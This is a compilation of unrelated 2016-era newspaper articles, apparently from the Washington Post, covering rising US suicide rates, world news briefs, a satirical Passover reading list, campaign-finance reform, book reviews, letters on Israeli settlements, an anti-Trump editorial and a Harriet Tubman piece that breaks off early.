[Truth and transgender at age 70]

Bill Rohr of Fort Bragg, Calif., went on Bowerss list in the fall of 2014. The long wait tested the 68-year-olds patience but not his resolve. At a final pre-op visit, Rohr and wife Linda sat in Bowerss San Francisco-area office and listened as she reviewed the surgery one more time. It would be Bills last step to becoming Kate.

The conversation eventually segued into societys misconceptions of transgender issues.

Assigning gender identity on the basis of genitalia makes about as much sense as assigning it on the basis of height, Bowers said. Biologically, were much closer to each other because everyone starts out with a primordial female anatomy, so everything a male has, a female has, and vice versa. Its just a matter of how the cards are shuffled.

And Marci can reshuffle them, Rohr responded with a smile.
Dr. Yeates Conwell with the Center for Study and Prevention of Suicide, University of Rochester Medical Center talks about the four D's that contribute to suicide risk in older adults. (The American Foundation for Suicide Prevention)

Dr. Yeates Conwell with the Center for Study and Prevention of Suicide, University of Rochester Medical Center talks about the four D's that contribute to suicide risk in older adults. (The American Foundation for Suicide Prevention)

The U.S. suicide rate has increased sharply since the turn of the century, led by an even greater rise among middle-aged white people, particularly women, according to federal data released Friday.

Last decades severe recession, more drug addiction, gray divorce, increased social isolation, and even the rise of the Internet and social media may have contributed to the growth in suicide, according to a variety of people who study the issue.

But economic distress  and dashed hopes generally  may underpin some of the increase, particularly for middle-aged white people. The data showed a 1 percent annual increase in suicide between 1999 and 2006 but a 2 percent yearly hike after that, as the economy deteriorated, unemployment skyrocketed and millions lost their homes.

People [were] growing up with a certain expectation . . . and the Great Recession and other things have really changed that, said Julie A. Phillips, a professor of sociology at Rutgers University who studies the demography of suicide. Things arent panning out the way people expect. I feel for sure that has had an effect.

[A new divide in American death]





The study by the National Center for Health Statistics also shows an alarming jump in suffocation  mostly hangings  as a suicide method. Use of that technique rose by 89 percent, after adjusting for growth in population, and by 157 percent for white women. Experts struggled to pinpoint a reason; use of firearms and pills declined as a share of the increasing number of suicides.

Suicide remains one of the 10 leading causes of death for Americans. Its rise comes amid a long-term decline of death rates for most other major killers, such as cancer and heart disease, the result of billions of dollars spent on research and the development of new treatments.

The U.S. homicide rate is also down: There are more than two suicides for every homicide. Among whites, there are more than seven suicides for every slaying.

Along with opioid abuse and alcoholism, suicide has attracted recent attention as one of the main causes of a surprising increase in mortality for white men and women since the turn of the last century, especially for those ages 45 to 54. A study last November by Princeton University economists Anne Case and Angus Deaton, and other studies like it, have triggered new concerns about middle-aged whites, particularly people with less education and people living in rural areas, who appear to be more severely affected. Fridays report will do nothing to allay that.

Overall, the new data show, the age-adjusted suicide rate in the United States jumped 24 percent between 1999 and 2014, from 10.5 per 100,000 people to 13 per 100,000 people. The rate increased for both sexes and in all age groups from 10 to 74. The pace has continued into the first two quarters of 2015, separate data show.

More men than women still complete suicides because they tend to use more lethal methods, such as guns and jumping from buildings or bridges. But women attempt suicide in much greater numbers.

[A group of middle-aged whites is dying at a startling rate]





Statistics on suicide and race released separately by the agency Friday showed that American Indians and Alaska Natives suffered the greatest rate of increase in suicides, though that population is much smaller than other ethnic groups in the United States. Whites were second. Among white women ages 45 to 64, for example, the suicide rate jumped 80 percent, from 7 per 100,000 in 1999 to 12.6 per 100,000 in 2014.

Suicide rates declined from the mid-1980s until about 2000, but rates have risen back to the level of the 1980s as the baby-boom generation has aged, said Cathy Barber of the Harvard School of Public Health.

Alex Crosby, chief of the surveillance branch in the Centers for Disease Control and Preventions division of violence prevention, said suicide can be influenced by many factors  some personal, some social  making it difficult to draw broad conclusions about the data.

We know something about the risk factors going up and protective factors going down, he said.

Suicide can be an impulsive act for some, but others engage in weeks or months of planning, he said. Being a victim of violence or child abuse increases the risk of suicide, as does having parents who are substance abusers or who have been incarcerated. Mental illness and substance abuse also are associated with higher suicide rates.

Social isolation, bullying  the old fashioned kind or cyberbullying  and the rise of the Internet may also have some influence, Crosby and others said.

Sally C. Curtin, a statistician for the National Center for Health Statistics and lead author of the study released Friday, said that the Internet can be a double-edged sword. Prevention materials can be widely disseminated, but also you can just Google suicide. Its just very different how much information we have at our fingertips.

Not only is advice about how to commit suicide easy to find online, so is essential equipment, such as the plastic bags known as exit sacks that are used in suffocation. Searches on Yahoo and Google for words linked to suicide brought up paid ads for advice books and other paraphernalia. Yahoo and Google said they have policies against such ads and block them whenever they find them.

[We dont know why it came to this]

Prevention is still challenging. Gun locks, nets and barriers on bridges, and safely secured medications have been shown to prevent impetuous acts, but more broad-based efforts are needed, experts said.

We now know its a mental health condition. We know its preventable, said Jill Harkavy-Friedman, vice president of research at the American Foundation for Suicide Prevention. The research and the funding have not kept up with that yet. As the stigma dissipates, that is going to change. But we have to put the money behind it.
The shadow of a boy is seen as he jumps into the Ganges river to cool off on a hot summer day on the outskirts of Kolkata, India. (Rupak De Chowdhuri/Reuters)

BELIZE

Guatemala accused

of massing its troops

The tiny Central American country of Belize has accused larger neighbor Guatemala of amassing troops along their shared border after the death of a 13-year-old boy in a shooting incident apparently involving Belizean soldiers.

Guatemala answered Friday with a statement lamenting the Belizean militarys aggressive attitude, saying its acts of violence are hurting relations. The shooting is the latest flash point in a long dispute in which Guatemala claims parts of territory governed by Belize.

Guatemala said teenager Julio Rene Alvarado Ruano, his father and his 11-year-old brother were attacked Wednesday as they planted crops in the border community of San Jose Las Flores.

Guatemalan President Jimmy Morales called the shooting a cowardly and excessive attack that merits the total condemnation of the Guatemalan state. He said he had summoned his ambassador to Belize for consultations and urged Belize to investigate.

Belize said a patrol probing illegal land clearing in the area had come under fire around nightfall and shot back in self-defense. In a statement issued late Thursday, it said that the current amassing of Guatemalan troops . . . only adds volatility to the tensions.

A tree blossoming in the sunlight shining through an opening in the roof in front of the Eisenach works of BMW Group in Krauthausen, Germany. (Martin Schutt/EPA)

 Associated Press

CUBA

Cuba reversal appears to clear way for Carnival cruise

Cuba has loosened a policy banning Cuban-born people from arriving by sea, allowing Carnival Corp. to go forward with the first U.S. cruise to the island in half a century, the Cuban government and the Miami-based cruise line said Friday.

The company at first barred Cuban-born Americans from buying tickets for the planned May 1 cruise to comply with Cubas ban, drawing complaints from the Cuban-American community in Miami and a discrimination lawsuit. Then, the company said it would sell tickets to Cuban-Americans but hold the cruise only if Cuba relented and changed its policy.

Early Friday, Cuban state media announced the loosening of the maritime ban, and Carnival CEO Arnold Donald said in a statement that the trip would go forward May 1 from Miami.

 Associated Press

GERMANY

Merkel regrets airing view on comics poem

German Chancellor Angela Merkel said she regrets expressing her personal view that a TV comics poem about Turkeys president was intentionally offensive.

Merkel said Friday that she stood by her decision to grant Turkeys request to let prosecutors and courts decide whether German comedian Jan Boehmermann had insulted a foreign head of state. Under German law, the government has to agree before prosecutors can investigate in such cases.

But Merkel said her view that the poem about Turkish President Recep Tayyip Erdogan was intentionally offensive had given some the opinion that she didnt value free speech.

Critics have accused Merkel of kowtowing to Turkey because of its important role in stopping the influx of migrants to Europe.

 Associated Press

Egyptian security rounds up dozens ahead of protests: Egyptian security forces have rounded up dozens of activists, journalists and lawyers ahead of demonstrations called for April 25 against President Abdel Fatah al-Sissis policies, including the transfer of two Red Sea islands to Saudi Arabia, lawyers and witnesses said. Rights lawyer Ahmed Abdel-Naby said that dozens were arrested in cafes in downtown Cairo and from their homes. Ragia Omran, another rights lawyer, said in a statement that there is an organized campaign targeting activists in Cairo and several provinces.

Death toll rises in Mexico blast: The death toll in a Mexican petrochemical plant explosion has risen to 24, and more casualties are feared as rescue efforts continue following the Wednesday blast in the port city of Coatzacoalcos. Eight people are missing and 13 were in critical condition after a leak at the Pajaritos complexs Chlorinate 3 plant, operated by state oil firm Pemex and Mexichem SAB.

Romanian party chief sentenced for fraud: A Romanian court handed a two-year suspended prison sentence to the chairman of the countrys main political party for voting fraud in a referendum to impeach then-President Traian Basescu. Liviu Dragnea of the Social Democratic Party was convicted of inflating voter numbers in the 2012 ballot.

 From news services
Passover is the ancient Jewish holiday on which we celebrate the story of a man who probably never existed and who may or may not have freed his people from a slavery that probably never happened by bringing forth plagues of which there is no historical record, ultimately leading them on a journey through the desert for which there is no evidence to a Promised Land that turned out to be anything but. Mazel tov!

I am, as you may have gathered, a fallen Jew, and not since the fall of the house of Usher has a fall been so welcomed by everyone concerned. So Passover, to me, is one of those holidays that hilariously negates itself, like Christmas, which is supposed to be about peace but instead has become about fighting strangers in Walmart. Passover, which is supposed to celebrate freedom from enslavement to man, imposes in its place a more complete enslavement to God.

A doctrinal ruling by Rabbi Y. Bodner, for instance, holds: Thin matzohs come 9 matzohs to a pound, medium matzohs come 7 to a pound, and thick matzohs come 6 to a pound. . . . If he has thin matzoh, he should use slightly more than one half of a matzoh; if he has medium matzoh, he will need more than a third and less than a half of a matzoh; if he has a thick matzoh, he should take a little more than one third of a matzoh.

Freedom!

If you want to learn more, you can attend a modern seder, or Passover meal, and watch a family tear itself to pieces in the vain hope that God doesnt tear everyone to pieces later. Or you can try these:

Wheat Belly: Lose the Wheat, Lose the Weight, and Find Your Path Back to Health, by William Davis

Matzoh, the traditional Passover unleavened bread, is essentially a hardened piece of grade-A, 100 percent pure Colombian gluten, one slice of which could render an average-size American city diarrhetic in a matter of hours. Its not important that there is now gluten-free matzoh. Whats important is that God commanded us to eat wheat, which this best-selling book shows can cause numerous health ailments. So either (a) God didnt know about gluten, in which case Hes not much of a God, or (b) He knew about gluten and is trying to kill us. Matzoh, theologically speaking, is a smoking gun.

Fifty Shades of Grey, by E.L. James

From a narrative perspective, this is the same story as Passover: A needy young woman (the Jews) falls for a domineering sociopath (God) who promises to bring her joy (the Holy Land) by beating the heck out of her (40 years in the desert), pain she actually thanks him for (Passover) by doing all manner of loathsome things (i.e., eating matzoh, drinking kosher wine).

Call It Sleep, by Henry Roth

Another Promised Land tale, only in this case the Promised Land is America, and the young protagonists Egypt is his dysfunctional immigrant family. God, played by the boys father, is as cruel as ever.

Our Harsh Logic: Israeli Soldiers Testimonies From the Occupied Territories, 2000-2010, by Breaking the Silence

Sort of an epilogue to the Passover fairy tale  yeah, sure, we got there, but it took forever, theres been war ever since, and were not the same idealistic people we were when our story began. The testimony of hundreds of Israel Defense Forces soldiers, this difficult read reveals the many ways the enslaved have become the enslavers. Former Israeli prime minister Golda Meir once said, We will perhaps in time be able to forgive the Arabs for killing our sons, but it will be harder for us to forgive them for having forced us to kill their sons. This is commonly known as blaming the victim, and Passover might be a good time to quit it.

Letter to His Father, by Franz Kafka

If you want to know what its like to feel enslaved, unloved and unwanted, dont read the Haggadah  read Kafka. Sorry, academia, Kafka didnt write about bureaucracy. He didnt write about the machine of government, or our failure to do this or our inability to do that. He wrote about his heart, his family and how his family destroyed his heart, and nothing he wrote was ever more direct than this fiercely courageous letter:

Dearest Father,

You asked me recently why I maintain that I am afraid of you. As usual, I was unable to think of any answer to your question, partly for the very reason that I am afraid of you.

That sounds like just about every prayer, in every religion, ever written. Maybe instead of Passover, we should have a holiday that truly celebrates freedom. Well call it Kafkover. And on that day, people all over the world wont pray to gods that enslave them, wont point their fingers at their enemies, wont get together with the families that dont love them and will, instead, spend the day enjoying the only freedom that matters: freedom from the past.

outlook@washpost.com

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Tehran, Iran, Apr. 22

By Mehdi Sepahvand - Trend:

Iran has resumed the oil export to Greece with 60,000 barrels per day (bpd) sold to the Hellenic Petroleum, says Mohsen Qamsari, the Iranian Oil Ministry's international relations director.

The Greek company received its first cargo of crude from the post-sanctions Iran in late March, Mehr news agency reported April 22.

Before being crippled by sanctions, Iran used to export 120,000 bpd of oil to Greece.

Now the Islamic Republic is looking forward to resuming oil export to other European countries as well, including France and Spain.

Through the contracts it has signed with France's Total and Spain's Sepsa, Iran expects to be exporting 250,000 to 300,000 bpd of crude to Europe in the near future.

Iran's crude output stood at 4.2 million bpd before the sanctions, some 2.3 million bpd of which used to be exported. Under the sanctions the output fell to 3.3 million bpd while the exports dropped to 1 million bpd.

Since the sanctions were lifted in January, Iran has increased the crude export to 1.7 million bpd aiming to redeem its previous place in the world market.
It has become a truism that the American political system is suffering from dysfunction. But weirdly, even the insurgent candidates, Donald Trump and Bernie Sanders, dont talk much about how they would fix it. This is a populist insurgency without a clear manifesto.

So its refreshing to hear Rep. John Sarbanes (D-Md.) present a detailed action plan to try to repair whats broken. This proposal isnt a cure-all. It wouldnt fix the immigration problem or fund Social Security or fight terrorism. But by changing the way we fund elections, this proposal could make it easier to elect the politicians who would make the U.S. government work again for its citizens.

Sarbanes presents his proposal in the current issue of the Harvard Journal on Legislation. Its a simple idea: Congress should free itself from big-money, special-interest domination by encouraging an alternative system of small contributions that would be matched with public funds. This isnt a new idea  Teddy Roosevelt proposed a version back in 1907  but its a good one, and a way to start curing what ails us.

The republic is in dire straits, Sarbanes writes. The governed perceive the government as corrupt. The vast majority of Americans are convinced that the wealthy and well-connected call the shots in Washington. . . . Americans are increasingly convinced that a plutocracy has taken hold.

Sarbanes explained in an interview what he sees as the downward spiral of U.S. politics. The solid citizens are judging that the system isnt responsive to them. When these folks vacate the political town square, it creates a vacuum  and extremists take over. A second thing happens, too: By leaving, people cede the town square even more to the elites, which drives policy even further away from what people want.

Members of Congress are caught in this vortex. Unless theyre personally wealthy, theyre perpetually raising money. Campaign spending for House elections increased 610 percent between 1984 and 2012. Sarbanes writes that a House seat cost an average of $1.5 million in 2012, which meant that a candidate had to raise more than $4,000 a day in the off-year to have the necessary stack of cash. No wonder they have no time or inclination for solving problems.

Sarbanes has a twofold answer to this money-driven process of decline. First, he would create a 50 percent tax credit for small campaign donations up to $100 in every two-year election cycle. Second, to amplify the voices of small contributors, he would provide a 6-to-1 match for their donations to qualified candidates. To participate, candidates would have to raise at least $50,000 in small contributions, limit each donor to $1,000 per election and forgo money from private political action committees.

PACs now dominate the political space, thanks to the Supreme Courts unfortunate refusal to limit secret money in the 2010 Citizens United case. Sarbanes thinks his plan would pass muster even with this court. To help the publicly financed candidates cope with the inevitable surge of PAC money for rivals, he proposes a formula that would allow candidates to tap $500,000 in extra federal matching funds in the last two months of a hot campaign.

Sarbanes argues that for members of Congress, this approach would create a real alternative to a system that many of them detest. It gives power to the little guy: A $50 donation would become $300. A living-room gathering that collects 30 of these $50 donations would raise nearly $10,000.

This system would cost taxpayers hundreds of millions of dollars per election cycle. That wont be an easy sell for a country that seems to despise politicians. But its a fraction of what private interests spend or, say, the cost of what taxpayers spend for one new ballistic-missile submarine. The truth about politics, like everything else, is that we get what we pay for.

The public-funding idea isnt as unpopular as you might think. A recent poll by Democracy Corps found that 72 percent of respondents favored Sarbaness approach.

The United States rebellion against the political status quo is the central political fact of 2016. Pretending that it will go away is a mistake. This alienation has been building for a decade, first with the tea party on the right and the Occupy movement on the left, and now in Trump and Sanders. But so far, this deep disaffection has produced mostly negative results  spawning anger and division that will make the system even more dysfunctional.

Angry, alienated Americans need an objective: How about changing the rotten system that has gotten our politics into this paralyzing decay?

Read more from David Ignatiuss archive, follow him on Twitter or subscribe to his updates on Facebook.
David M. Oshinsky is a professor of history at New York University and director of the Division of Medical Humanities at NYU Medical Center. His book, Polio: An American Story, won the Pulitzer Prize for history.

Five years ago, Colin Woodard caused a stir with his book American Nations, a fascinating, if quirky, account of the different regional cultures that have shaped the course of North America. Woodard counted 11 regions in all, nine fully in the United States, such as Yankeedom, the moralistic, community-centered territories of New England, New York and the Upper Midwest; Tidewater, the slaveholding parts of the Chesapeake Bay area and Virginia that produced civic-minded aristocrats such as George Washington and Thomas Jefferson; Greater Appalachia, home to fiercely independent, anti-elitist folk like Andrew Jackson; and the Deep South, the lair of rapacious, neer-do-well leaders with no sense of responsibility to the rest of society. Later entries included Far West, the high, dry, and remote province of libertarian ranchers and timber barons; and Left Coast, the narrow spit of land from Southern California to Seattle famous for its liberal politics and live-and-let-live social attitudes.

It wasnt exactly a new concept. Journalist Joel Garreau (The Nine Nations of North America) and historian David Hackett Fischer (Albions Seed) tread this ground before Woodard with more evidence and fewer grandiose claims. But thats what made American Nations such fun to read. One could disagree with much of what Woodard presented but still come away admiring the boldness of his themes.

American Character, the sequel, is somewhat less satisfying. Woodard, an award-winning journalist for the Portland Press Herald in Maine, is a terrific writer, and his range is impressive. His musings about the impact of Ayn Rand on American conservatism or a day spent in the terrifying blackness of Nicolae Ceausescus crumbling Romanian dictatorship are elegant set pieces. The problem is with the larger thesis of the book. Its one thing to take on a huge subject such as the epic struggle between individual liberty and the common good in our history. Its quite another to try to squeeze it into the multi-regional model that defined his earlier work. Despite some truly original insights, the result, too often, is a disjointed narrative, lurching from era to era, crisis to crisis, with the leading actors scrutinized by their places of origin  Yankeedom, Tidewater, Far West  as if personal geography was the determining factor in most everything they did.

America works best, Woodard insists, when the anti-government culture of radical libertarianism and laissez-faire conservatism (think Deep South as leader, with Greater Appalachia, Far West and Tidewater sometimes on board) is in balance with the pro-government culture of collective action for the common good (think Yankeedom and Left Coast as primary actors, with sprinklings from other regions). The problem, Woodard says, is that these competing forces are rarely equal  or willing to compromise.

"American Character: A History of the Epic Struggle Between Individual Liberty and the Common Good" by Colin Woodard (Viking)

In the Gilded Age of the late 19th century, laissez-faire and libertarianism created the industrial behemoth that is modern America, during a time of extraordinary excess, inequality of wealth, political corruption and working-class misery. In response, the pendulum swung back hard the other way, giving the United States a Progressive Era of needed economic and social reform, but also a time of political overreach in terms of what many Americans expected their government to do. With a few exceptions  the demands of a world war, an economic catastrophe  the competing regional cultures have kept the nation from reaching the sort of consensus that allows fundamental problems to be solved.

Woodards heroes are those who have somehow transcended this divide. Its an eclectic list, and an interesting one. Woodard includes Franklin D. Roosevelt, an odd choice given FDRs pure Yankeedom roots and reputation as the father of the modern welfare state. Yet, as Woodard notes, Roosevelt took the reins of power at a time when the nation was on its knees. He fought off attempts by the political left to bring socialism to Washington  his goal was to enact reforms needed to preserve capitalism  and steered a moderately liberal course that offended zealots at both ends of the political spectrum. The problem, of course, is that two of the three Republican presidents who preceded FDR  Warren Harding and Calvin Coolidge  also came from Yankeedom, as did many of the laissez-faire, libertarian business types who plundered their way through the 1920s.

Like a growing number of observers, Woodard admires Dwight Eisenhower, a Midland centrist who believed in fiscal responsibility, but did not consider that incompatible with making high-return investments in collective projects like education, scientific research, and transportation infrastructure. He has great respect for Michigan Gov. George Romney, Mitts father, who nobly lost the Republican presidential nomination to Richard Nixon in 1968 by pointing out the squalid conditions that helped trigger bloody riots in Detroit and then candidly admitting that he was brainwashed about the Vietnam War by government officials during a trip there a few years earlier (Yankeedom honesty at work). Woodard admires George H.W. Bush (Connecticut roots) for responsibly raising taxes to clean up the enormous mess left by Ronald Reagans laissez faire revolution, but he despises son George W., raised in West Texas but a creature of Deep Southern East Texas (I suppose this means Houston), who presided over perhaps the most craven diversion of public resources to the rich and powerful in the nations history.

The list goes on. Lyndon Johnson is trashed for getting too far ahead of public opinion in his never-ending list of Great Society programs he couldnt pay for, while Bill Clinton is roughed up for being a bit too enamored of big business and deregulation. Both men, as best I can tell, appear to be hybrids of Deep South and Greater Appalachia thinking. But Woodards other point, often obscured in this regional soup, is a valid one. America works best when its leaders find a middle ground between unfettered individualism and unrealistic communalism.

Its possible for either of our major political parties to find that middle ground, Woodard thinks  or at least enough of it to govern effectively. But his money is on the Democrats. What Americans yearn for, he believes, is a government that ensures fairness in an aggressively competitive country. That means more than nondiscrimination laws and protection of the weak; it means rechanneling wealth, especially inherited wealth, back into institutions that level the playing field for those born without advantages. Selling this message wont be easy, and it may require a lighter hand in pursuing issues that tend to alienate potentially supportive voters, such as affirmative action and perhaps even gun control.

Ever the strategist, Woodard asserts that a political movement championing the fairness doctrine could capture a reliable majority in seven of our nine regional cultures. Far be it from me to argue. Im still trying to figure out how one part of my home state of Pennsylvania wound up in Yankeedom, part in the Midlands and the rest in Greater Appalachia.
Israeli soldiers stand by as a tour guide points out Josephs Tomb in the valley, to tourists in the West Bank, on April 7. (Anne-Marie O'Connor/For The Washington Post)

Regarding the April 18 front-page article Israeli settlers see tourism as a new route to legitimacy:

Israels propaganda machine has reached a new low in using tourism to try to humanize the settlements that violate international law and U.S. policy. The article ignored the Palestinians displaced from their land to make way for the settlements.

Ill bet that the evangelical Christians targeted by Israel are not told that the communities they are visiting are segregated. Nor are they told that Palestinian Christians are evicted just as fast as Palestinian Muslims, and with no more due process, to make way for the settlers.

As an American Jew whose parents and grandparents were the victims of land covenants, I am ashamed of what Israel is doing to Palestinians in my name. A few fancy tours and wine tastings dont change the horrors of occupation.

Seth Morrison, Arlington

The writer is a member of the board

of Jewish Voice for Peace.

Isnt it time to bury the canard that Israeli settlements in the West Bank are preventing implementation of a two-state solution? This confuses cause with effect. The lack of a two-state solution and a free nation of Palestine has led to the construction of settlements.

Withdrawing from 63 settlements was still a manageable part of the equation in the year 2000, when Palestinian leader Yasser Arafat refused to sign the July agreement at Camp David hammered out with President Bill Clinton and Israeli Prime Minister Ehud Barak. In December 2000, when Arafat was offered 97 percent of the West Bank and continuity with Gaza, he steadfastly refused.

The Palestinians want every square foot of Israel for their future state. That is the 800-pound gorilla in the room, that is what they teach their children, that is the sticking point. In the past 16 years, frustrated at Palestinian intransigence, the Israeli government has given up waiting for a two-state solution. Instead, it has allowed the establishment and development of additional housing, commerce and infrastructure in the West Bank. For every year the Palestinians procrastinate, less of the West Bank is available for a future nation of Palestine.

Kenneth Suskin, Arlington
DO YOU remember when Donald Trump crudely mocked the disability of a New York Times reporter, and then lied about having done so?

No? Thats just as the Republican candidate might hope. Now that he is nearing the Republican nomination, he says he will become more presidential. After winning the New York primary, he referred to Senator Cruz instead of Lyin Ted. You can expect multitudes of office-seekers and sycophants to follow Chris Christies craven path to believing, or pretending to believe, in a presidential Trump.

So it is important to remember.

Remember that Mr. Trump said that Mexicans crossing the border are rapists, though some, I assume, are good people.

Remember that Mr. Trump falsely claimed that thousands of American Muslims had celebrated the destruction of the World Trade Center on 9/11.

Remember that Mr. Trump insulted Carly Fiorina for her appearance: Look at that face! Would anyone vote for that?

Remember, now that Fox News anchor Megyn Kelly has sought to make peace with Mr. Trump, that he insinuated that she had asked him a tough question because she was menstruating: You could see there was blood coming out of her eyes, blood coming out of her wherever.

Remember that he called her a bimbo, sick, overrated and crazy.

Remember that Mr. Trump lashed out at Ms. Kelly in the first place because she had recited some of the other names he has used for women he disliked:  fat pigs, dogs, slobs and disgusting animals. . . . You once told a contestant on Celebrity Apprentice it would be a pretty picture to see her on her knees.

Remember that Mr. Trump, who never served in the armed forces, said that Sen. John McCain (R-Ariz.) was not a war hero. Mr. McCain, after being shot down over North Vietnam, endured 5 years of torture and solitary confinement as he repeatedly refused offers of liberation unless all of his fellow prisoners would also be freed. I like people who werent captured, Mr. Trump said.

Remember how Mr. Trump threatened a Chicago family who donated to a PAC opposing his candidacy: They better be careful, they have a lot to hide!

Remember that Mr. Trump threatened and disparaged not just reporters who angered him but freedom of the press overall with a vow to open up the libel laws.

1 of 45 Full Screen Autoplay Close Skip Ad  What Donald Trump is doing on the campaign trail View Photos Businessman Donald Trump has become the Republican Partys presumptive nominee for president. Caption Businessman Donald Trump officially became the Republican nominee at the partys convention in Cleveland. Donald Trump speaks at a campaign event at Trump Doral golf course in Miami. Carlo Allegri/Reuters Wait 1 second to continue.

Remember that Mr. Trump vowed to ban Muslims from entering the country, though he never explained how he would enforce this edict.

Remember that Mr. Trump promised to round up 11 million undocumented immigrants and deport them, in what would be the largest forced population movement since Pol Pots genocide of the Cambodian people, though he never explained how he would go about doing so.

Remember that he cited Operation Wetback as a humane model for such a roundup.

Remember that Mr. Trump promised to order American soldiers and intelligence officers to torture their prisoners.

Remember that Mr. Trump, unlike virtually every scientist in the world, is not a great believer in man-made climate change.

Remember Mr. Trumps answer when asked whether there are racial disparities in law enforcement: Ive read where there are and Ive read where there arent. I mean, Ive read both. And, you know, I have no opinion on that.

Remember that Mr. Trump said he would like to punch a protester in the face.

Remember that Mr. Trump waxed nostalgic for the old days, when protesters would be carried out on stretchers.

Remember that Mr. Trump said he would consider paying the legal fees for supporters who attacked protesters at his rally.

Remember that Mr. Trump defended his campaign manager after the campaign manager roughly grabbed a reporter and then denied having touched her and called her delusional when she complained.

Remember that Mr. Trump threatened to spill the beans on Mr. Cruzs wife to retaliate for an independent PAC ad that angered him.

Remember that Mr. Trump lied about President Obamas birth certificate. Remember that he lied about Mr. Obama planning to admit 200,000 Syrian refugees. Remember that he lied about President George W. Bush trying to silence him because he supposedly opposed the Iraq War. Remember that he lied about the unemployment rate, the cost of building a border wall, the amount he could save by changing Medicares drug plan and many other things.

Remember that Mr. Trump vowed to kill the innocent children of suspected terrorists.

Winning is the antidote to a lot of things, Republican National Committee Chairman Reince Priebus said earlier this year. As Mr. Trump marches toward 1,237 delegates, others will emulate that amoral embrace.

So remember. Winning is not an antidote to bigotry, violence, ignorance, insults and lies.
Aram Goudsouzian is the chair of the Department of History at the University of Memphis. His most recent book is Down to the Crossroads: Civil Rights, Black Power, and the Meredith March Against Fear.

Imagine that it is 1969 and that you are watching Elvis Presley, in the midst of his comeback, crooning In the Ghetto. As you listen to his maudlin story of a young boy who grows up hungry, turns to crime and ends up dead, you absorb both liberal and conservative explanations for the tragedy. Elvis tells you that poverty caused this problem, and he chides society that the child needs a helping hand. But he also describes a terrible cycle rooted in culture and family, as the song ends with the dead boys mother giving birth to a new, desperate child. By virtue of the song title and the chorus, you know that he is describing a black kid in a poor, predominantly black city district, even if he never mentions race.

In Ghetto, Mitchell Duneier never writes about overweight superstars in jumpsuits. But the Princeton University sociologist helps us see why Elvis sang those words in 1969 and why you would have understood them in that particular way. As his fine book demonstrates, the meaning of ghetto has changed over time, responding to political circumstances. Engaging a host of classic works of urban sociology, Duneier describes how social scientists have grappled with poor, black, inner-city neighborhoods in the United States. His rich intellectual history of the ghetto raises important questions about how we might address the plight of its residents.

The term ghetto was first applied to Jews, of course. Duneier begins in Venice in 1516, when the Senate mandated that Jews live on the island of Cannaregio, known as the Ghetto Nuovo. The practice of separate Jewish neighborhoods then spread to Rome and beyond. These medieval ghettos forced people to live in separate spaces, but Jews still interacted with other city residents and had a strong community life. By the early 20th century, ghetto no longer meant a legal separation but rather a crowded, poor, urban neighborhood.

Then Nazi Germany appropriated the term. While enclosing Jewish districts with barbed wire, Adolf Hitlers regime rendered the people inside a degraded race. The Nazis enslaved, tortured and starved the segregated population. Although these zones bore little resemblance to medieval Jewish neighborhoods, American social scientists accepted Hitlers usage of the term ghetto. Duneier laments a missed opportunity. By falling for the Nazi deception, he argues, scholars failed to effectively define the ghetto  the word allowed for both the cultural autonomy of 16th-century Venice and the strict social control of Nazi Germany.

"Ghetto: The Invention of a Place, the History of an Idea" by Mitchell Duneier (FSG)

After World War II, African Americans started appropriating ghetto to describe their own urban spaces. Harlem, for instance, resembled neither the Jewish ghettos of the Middle Ages nor those of World War II, but the term suggested how race shaped the distinct experiences of black people, in contrast to immigrants who could claim the privileges of whiteness. By the 1960s, ghetto more often referred to black city districts than to past Jewish experiences.

Social scientists, black scholars in particular, guided the evolving understanding of the American ghetto. Although he describes many intellectual influences and offshoots, Duneier traces that history through three main figures: Horace Cayton, Kenneth Clark and William Julius Wilson.

Cayton, a University of Chicago graduate student in the 1930s and 1940s, challenged the prevailing interpretations of African American life. Swedish economist and sociologist Gunnar Myrdals influential An American Dilemma: The Negro Problem and Modern Democracy (1944) documented the nations racial discrimination, but it concentrated on the South and had an optimistic, liberal hope for the future; as Duneier uncovers, Myrdal blew the chance to hire Cayton and gain access to his huge research project on the black community on Chicagos South Side. Cayton instead collaborated with African American sociologist and anthropologist St. Clair Drake on Black Metropolis: A Study of Negro Life in a Northern City (1945). They highlighted intransigent prejudice and the race-specific discrimination faced by blacks, such as restrictive housing covenants, even as they documented the rich cultural life within the ghetto.

Two decades later, when Kenneth Clark wrote Dark Ghetto: Dilemmas of Social Power (1965), the black inner city appeared a brewing crisis. Clark focused on the ghettos problems, not its vitality. Where other scholars explained black urban poverty through single factors such as a citys geography, family structure or culture, he offered a more comprehensive approach. He broke new ground, Duneier writes, becoming the first to understand ghettos as the result of vicious cycles occurring within a powerless social, economic, political, and educational landscape. In a sense, Clark dug the scholarly foundation for Elviss song.

While Clark emphasized how racist government policies and capitalist developers shaped the ghetto, Wilson advocated a race-neutral approach. The black middle class had departed the inner city, and a deindustrializing economy left the remaining poor with few prospects. In the Reagan-era political climate, race-conscious remedies had little support. So in works such as The Declining Significance of Race (1978), The Truly Disadvantaged (1987) and When Work Disappears (1996), Wilson described the economic and geographic barriers faced by the underclass, and he proposed social democratic initiatives such as expanded federal jobs programs. He characterized a ghetto as any neighborhood where more than 40 percent of the population lived in poverty. But by defining a ghetto without reference to either race or power, Duneier argues, the ideas history in Europe and America no longer seemed relevant.

Ghetto leaves the reader craving a solution to urban poverty, but Duneier prescribes no specific remedies. In a final chapter he describes the trials and triumphs of the Harlem Childrens Zone, which uses a comprehensive approach to education that starts in early childhood, provides social services and fosters safe neighborhoods. But its model cannot easily be replicated. Its success is rooted in the charismatic leadership of its founder, Geoffrey Canada, and his deep-pocketed sponsors.

Ultimately, Duneiers vision is bleak. His book describes the ghetto as a historical process rooted in racial discrimination, spatial segregation and political powerlessness. Absent a genuine commitment among the American public to helping the black poor, that process continues.
Kate Clifford Larson is the author of Bound for the Promised Land: Harriet Tubman, Portrait of an American Hero.

We think we know Harriet Tubman: former slave, Underground Railroad conductor and abolitionist. But much of Tubmans real life story has been shrouded by generations of myths and fake lore, propagated through childrens books, that has only obscured her great achievements. The truth about the woman who will become the new face of the $20 bill is far more compelling and remarkable.

1. Tubman was the Moses of her people.

This is a common sobriquet for Tubman, popularized by an early biography written by Sarah Bradford. The phrase is typically used to conjure the enormous scope of Tubmans efforts to lead fellow slaves to freedom. Bradford wrote that Tubman freed more than 300 people in 19 trips. That claim is repeated on plaques and monuments. But while Tubman is indeed a giant of American history, her Underground Railroad missions were more limited, though much more complicated and dangerous, than they are often made out to be.

